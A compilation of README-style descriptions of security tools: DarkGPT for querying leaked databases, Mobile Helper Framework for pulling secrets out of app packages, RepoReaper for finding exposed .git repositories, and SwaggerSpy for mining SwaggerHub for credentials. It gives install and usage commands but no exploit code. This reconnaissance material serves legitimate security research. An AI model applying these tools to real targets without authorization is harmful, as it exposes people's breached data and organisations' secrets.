• Add more useful dorks and catogories
• Fix some bugs
• Add a search bar to search through the results
• Might add some LLM models to build dorks

Notes

I have built some dorks and I have used some public resources to gather the dorks , here's few : - https://github.com/lothos612/shodan - https://github.com/TakSec/google-dorks-bug-bounty

Warning

• I am not responsible for any damage caused by using the tool

DarkGPT - An OSINT Assistant Based On GPT-4-200K Designed To Perform Queries On Leaked Databases, Thus Providing An Artificial Intelligence Assistant That Can Be Useful In Your Traditional OSINT Processes

DarkGPT is an artificial intelligence assistant based on GPT-4-200K designed to perform queries on leaked databases. This guide will help you set up and run the project on your local environment.

Prerequisites

Before starting, make sure you have Python installed on your system. This project has been tested with Python 3.8 and higher versions.

Environment Setup

1. Clone the Repository

First, you need to clone the GitHub repository to your local machine. You can do this by executing the following command in your terminal:

git clone https://github.com/luijait/DarkGPT.git cd DarkGPT

1. Configure Environment Variables

You will need to set up some environment variables for the script to work correctly. Copy the .env.example file to a new file named .env:

DEHASHED_API_KEY="your_dehashed_api_key_here"

1. Install Dependencies

This project requires certain Python packages to run. Install them by running the following command:

pip install -r requirements.txt 4. Then Run the project: python3 main.py

Mhf - Mobile Helper Framework - A Tool That Automates The Process Of Identifying The Framework/Technology Used To Create A Mobile Application

Mobile Helper Framework is a tool that automates the process of identifying the framework/technology used to create a mobile application. Additionally, it assists in finding sensitive information or provides suggestions for working with the identified platform.

The tool searches for files associated with the technologies used in mobile application development, such as configuration files, resource files, and source code files.

Search files:

index.html
cordova.js
cordova_plugins.js

Search file

Andorid files:

libreactnativejni.so
index.android.bundle

iOS files:

main.jsbundle

❗A minimum of Java 8 is required to run Apktool.

pip install -r requirements.txt

python3 mhf.py app.apk|ipa|aab

python3 mobile_helper_framework.py file.apk

[+] App was written in React Native

Do you want analizy the application (y/n) y

Output directory already exists. Skipping decompilation.

Beauty the react code? (y/n) n

Search any info? (y/n) y

==>>Searching possible internal IPs in the file

results.........

==>>Searching possible emails in the file

results.........

==>>Searching possible interesting words in the file

results.........

==>>Searching Private Keys in the file

results.........

==>>Searching high confidential secrets

results.........

==>>Searching possible sensitive URLs in js files

results.........

==>>Searching possible endpoints in js files results.........

This tool uses Apktool for decompilation of Android applications.

This tool renames the .ipa file of iOS applications to .zip and extracts the contents.

What is patching apk: This tool uses Reflutter, a framework that assists with reverse engineering of Flutter apps using a patched version of the Flutter library.

More information: https://github.com/Impact-I/reFlutter

Split APKs is a technique used by Android to reduce the size of an application and allow users to download and use only the necessary parts of the application.

Instead of downloading a complete application in a single APK file, Split APKs divide the application into several smaller APK files, each of which contains only a part of the application such as resources, code libraries, assets, and configuration files.

adb shell pm path com.package
package:/data/app/com.package-NW8ZbgI5VPzvSZ1NgMa4CQ==/base.apk
package:/data/app/com.package-NW8ZbgI5VPzvSZ1NgMa4CQ==/split_config.arm64_v8a.apk
package:/data/app/com.package-NW8ZbgI5VPzvSZ1NgMa4CQ==/split_config.en.apk
package:/data/app/com.package-NW8ZbgI5VPzvSZ1NgMa4CQ==/split_config.xxhdpi.apk

For example, in Flutter if the application is a Split it's necessary patch split_config.arm64_v8a.apk, this file contains libflutter.so

• This tool use a secrets-patterns-db repositorty created by mazen160
• This tool use a regular expresion created by Gerben_Javado for extract endpoints
• This tools use reflutter for flutter actions

• Public release
• Bug fixes

• Added plugins information in Cordova apps
• Added Xamarin actions
• Added NativeScript actions
• Bug fixes

• Added NativeScript app detection
• Added signing option when the apk extracted of aab file is not signed

• Fixed issues with commands on Linux.

• Initial version release.

• This work is licensed under a Creative Commons Attribution 4.0 International License.

Cesar Calderon Marco Almaguer

RepoReaper - An Automated Tool Crafted To Meticulously Scan And Identify Exposed .Git Repositories Within Specified Domains And Their Subdomains

RepoReaper is a precision tool designed to automate the identification of exposed .git repositories across a list of domains and subdomains. By processing a user-provided text file with domain names, RepoReaper systematically checks each for publicly accessible .git files. This enables rapid assessment and protection against information leaks, making RepoReaper an essential resource for security teams and web developers.

• Automated scanning of domains and subdomains for exposed .git repositories.
• Streamlines the detection of sensitive data exposures.
• User-friendly command-line interface.
• Ideal for security audits and Bug Bounty.

Clone the repository and install the required dependencies:

git clone https://github.com/YourUsername/RepoReaper.git
cd RepoReaper
pip install -r requirements.txt
chmod +x RepoReaper.py

RepoReaper is executed from the command line and will prompt for the path to a file containing a list of domains or subdomains to be scanned.

To start RepoReaper, simply run:

./RepoReaper.py
  or
python3 RepoReaper.py

Upon execution, RepoReaper will ask for the path to the file containing the domains or subdomains: Enter the path of the file containing domains

Provide the path to your text file when prompted. The file should contain one domain or subdomain per line, like so:

example.com
subdomain.example.com
anotherdomain.com

RepoReaper will then proceed to scan the provided domains or subdomains for exposed .git repositories and report its findings. 

This tool is intended for educational purposes and security research only. The user assumes all responsibility for any damages or misuse resulting from its use.

SwaggerSpy - Automated OSINT On SwaggerHub

SwaggerSpy is a tool designed for automated Open Source Intelligence (OSINT) on SwaggerHub. This project aims to streamline the process of gathering intelligence from APIs documented on SwaggerHub, providing valuable insights for security researchers, developers, and IT professionals.

Swagger is an open-source framework that allows developers to design, build, document, and consume RESTful web services. It simplifies API development by providing a standard way to describe REST APIs using a JSON or YAML format. Swagger enables developers to create interactive documentation for their APIs, making it easier for both developers and non-developers to understand and use the API.

SwaggerHub is a collaborative platform for designing, building, and managing APIs using the Swagger framework. It offers a centralized repository for API documentation, version control, and collaboration among team members. SwaggerHub simplifies the API development lifecycle by providing a unified platform for API design and testing.

Performing OSINT on SwaggerHub is crucial because developers, in their pursuit of efficient API documentation and sharing, may inadvertently expose sensitive information. Here are key reasons why OSINT on SwaggerHub is valuable:

1. Developer Oversights: Developers might unintentionally include secrets, credentials, or sensitive information in API documentation on SwaggerHub. These oversights can lead to security vulnerabilities and unauthorized access if not identified and addressed promptly.

2. Security Best Practices: OSINT on SwaggerHub helps enforce security best practices. Identifying and rectifying potential security issues early in the development lifecycle is essential to ensure the confidentiality and integrity of APIs.

3. Preventing Data Leaks: By systematically scanning SwaggerHub for sensitive information, organizations can proactively prevent data leaks. This is especially crucial in today's interconnected digital landscape where APIs play a vital role in data exchange between services.

4. Risk Mitigation: Understanding that developers might forget to remove or obfuscate sensitive details in API documentation underscores the importance of continuous OSINT on SwaggerHub. This proactive approach mitigates the risk of unintentional exposure of critical information.

5. Compliance and Privacy: Many industries have stringent compliance requirements regarding the protection of sensitive data. OSINT on SwaggerHub ensures that APIs adhere to these regulations, promoting a culture of compliance and safeguarding user privacy.

6. Educational Opportunities: Identifying oversights in SwaggerHub documentation provides educational opportunities for developers. It encourages a security-conscious mindset, fostering a culture of awareness and responsible information handling.

By recognizing that developers can inadvertently expose secrets, OSINT on SwaggerHub becomes an integral part of the overall security strategy, safeguarding against potential threats and promoting a secure API ecosystem.

SwaggerSpy obtains information from SwaggerHub and utilizes regular expressions to inspect API documentation for sensitive information, such as secrets and credentials.

To use SwaggerSpy, follow these steps:

1. Installation: Clone the SwaggerSpy repository and install the required dependencies.

git clone https://github.com/UndeadSec/SwaggerSpy.git
cd SwaggerSpy
pip install -r requirements.txt

1. Usage: Run SwaggerSpy with the target search terms (more accurate with domains).

python swaggerspy.py searchterm

1. Results: SwaggerSpy will generate a report containing OSINT findings, including information about the API, endpoints, and secrets.

SwaggerSpy is intended for educational and research purposes only. Users are responsible for ensuring that their use of this tool complies with applicable laws and regulations.

Contributions to SwaggerSpy are welcome! Feel free to submit issues, feature requests, or pull requests to help improve this tool.

SwaggerSpy is developed and maintained by Alisson Moretto (UndeadSec)

I'm a passionate cyber threat intelligence pro who loves sharing insights and crafting cybersecurity tools.

• [ ] Review and improve existing regular expressions.
• [ ] Ensure that regular expressions adhere to best practices.
• [ ] Check for any potential optimizations in the regex patterns.
• [ ] Test regular expressions with various input scenarios for accuracy.
• [ ] Document any complex or non-trivial regex patterns for better understanding.
• [ ] Explore opportunities to modularize or break down complex patterns.
• [ ] Verify the regular expressions against the latest specifications or requirements.
• [ ] Update documentation to reflect any changes made to the regular expressions.

SwaggerSpy is licensed under the MIT License. See the LICENSE file for details.

Special thanks to @Liodeus for providing project inspiration through swaggerHole.